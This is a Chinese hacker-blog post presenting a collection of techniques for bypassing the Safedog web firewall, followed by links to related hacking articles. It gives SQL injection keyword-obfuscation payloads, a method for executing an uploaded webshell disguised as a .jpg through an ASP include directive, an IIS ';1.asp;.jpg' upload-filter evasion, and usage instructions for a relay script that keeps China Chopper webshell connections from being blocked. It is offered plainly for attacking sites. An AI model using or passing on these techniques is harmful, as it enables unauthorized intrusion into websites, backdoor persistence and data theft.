过安全狗技术总汇全集!!

hacker4年前黑客文章557
1.过注入
2.过大马被阻拦访问
3.过菜刀连接一句话被拦截
4.过1.asp;.jpg这样的文件
其他我没遇到了。。
现在一点一点讲:
1.过注入
*** 一:a.asp?aaa=%00&id=sql语句
*** 二: a.asp?id=sql语句   里面把安全过滤的加个%l 比如: un%aion sel%aect 1,2,3,4 fr%aom admin
2.过大马被阻拦访问
*** 一:上传一个大马 然后访问http://sss.com/dama.asp  访问后出现拦截。
那么解决 *** 先将dama.asp改名dama.jpg上传,然后在同目录上传个文件da.asp 内容为: <!–#include file=”dama.jpg” –>  这样再访问da.asp  就不会被拦截了。
3.过菜刀连接一句话被拦截
*** 一:不用菜刀连接一句话,用别的一句话连接端。
*** 二:中转下连接菜刀,把过滤掉的词替换掉。
4.过1.asp;.jpg这样的文件拦截
*** 一:;1.asp;.jpg
*** 二:保密
具体就为大家总结这么多了,安全狗 反正基本可以无视了!!
大家还有什么要补充的可以发在下面!
下面这个脚本是过安全狗连接菜刀用的 用法: 先把这个脚本放到个可执行.asp的目录
然后访问http://www.xx.com/asf.asp?dz=你要过的那个webshell地址
然后把地址输入进菜刀 密码还是你要过的那个webshell的密码 类型也是选择那个一句话木马的后缀类型
例如:http://www.xx.com/asf.asp?dz=http://xxx.com/yijuhua.php 密码
这样输入就菜刀

这个脚本暂时支持.php .aspx的一句话连接  .asp的可能还不行 没测试过。如果谁有装了安全狗的webshell可以告诉我下。我再测试下把这个脚本修改全面都支持!

标签: 黑客技术

相关文章

什么叫做一句话木马?便是一句简易的开发语言

什么叫做一句话木马?便是一句简易的开发语言

什么叫做一句话木马? 便是一句简易的开发语言,一句话木马分成Php,asp,aspx等   中国菜刀: 联接一句话木马的专用工具;   试验的目地: 根据一句话木马来操纵大家的网...

Windows10电脑上和一台KaliLinuxvm虚拟机

Windows10电脑上和一台KaliLinuxvm虚拟机

在学习培训这一系列产品以前,请自主提前准备一台Windows10的电脑上和一台Kali Linuxvm虚拟机,假如你肯定不会安裝Kali Linuxvm虚拟机也没事儿,要看会你懂得的就可以了; &n...

NTBScan这一黑客工具从cmd运作,扫描仪当地或远程控制

NTBScan这一黑客工具从cmd运作,扫描仪当地或远程控制

NTBScan这一黑客工具从cmd运作,以扫描仪当地或远程控制TCP / IP网络上的对外开放NETBIOS名字网络服务器。NBTS能够根据称之为nbtstat的规范Windows专用工具的作用和解...

简易网络嗅探器的实现

简易网络嗅探器的实现

本文介绍一个用C语言和网络数据包分析开发工具实现的简易网络Sniffer。目前,已经有不少的Sniff工具软件,如Windows环境下,最富盛名的工具是Netxray和Sniffer pro,用它们在...

HPWebinspect是不是适用全部电脑操作系统?

HPWebinspect是不是适用全部电脑操作系统?

什么叫HP Webinspect? WebInspect是另一个Web程序运行安全风险评估专用工具,可协助鉴别Web程序运行层中的己知和不明的系统漏洞。此专用工具还能够协助查验Web服务端是不是恰当...

AppScan免费下载、安装、使用方法

AppScan免费下载、安装、使用方法

AppScan是一个Web漏洞检测程序流程,关键适用Windows系统软件。   一、AppScan破解下载详细地址 百度搜索网盘分享:https://pan.baidu.com/s/1y...